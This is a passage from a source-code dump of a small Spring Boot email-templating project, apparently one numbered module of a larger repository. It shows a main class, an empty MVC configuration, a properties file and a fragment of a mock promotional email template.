org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class StartApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(StartApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /05_template_velocity/src/main/java/net/gosecure/email/init/ServerConfiguration.java: -------------------------------------------------------------------------------- 1 | package net.gosecure.email.init; 2 | 3 | import org.springframework.boot.autoconfigure.web.WebMvcAutoConfiguration; 4 | import org.springframework.context.annotation.ComponentScan; 5 | import org.springframework.context.annotation.Configuration; 6 | import org.springframework.web.servlet.config.annotation.EnableWebMvc; 7 | 8 | @Configuration 9 | @EnableWebMvc 10 | @ComponentScan 11 | public class ServerConfiguration extends WebMvcAutoConfiguration { 12 | 13 | } 14 | -------------------------------------------------------------------------------- /05_template_velocity/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.thymeleaf.cache=false 2 | server.port=8005 3 | #logging.level.org.springframework.web=DEBUG 4 | -------------------------------------------------------------------------------- /05_template_velocity/src/main/resources/email/new_offer.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 |The easiest way to reach new unsolicited customers.
14 | 15 |Why use our services? Why not?
18 | 19 |How does it cost? Affordable
20 | 21 | 22 |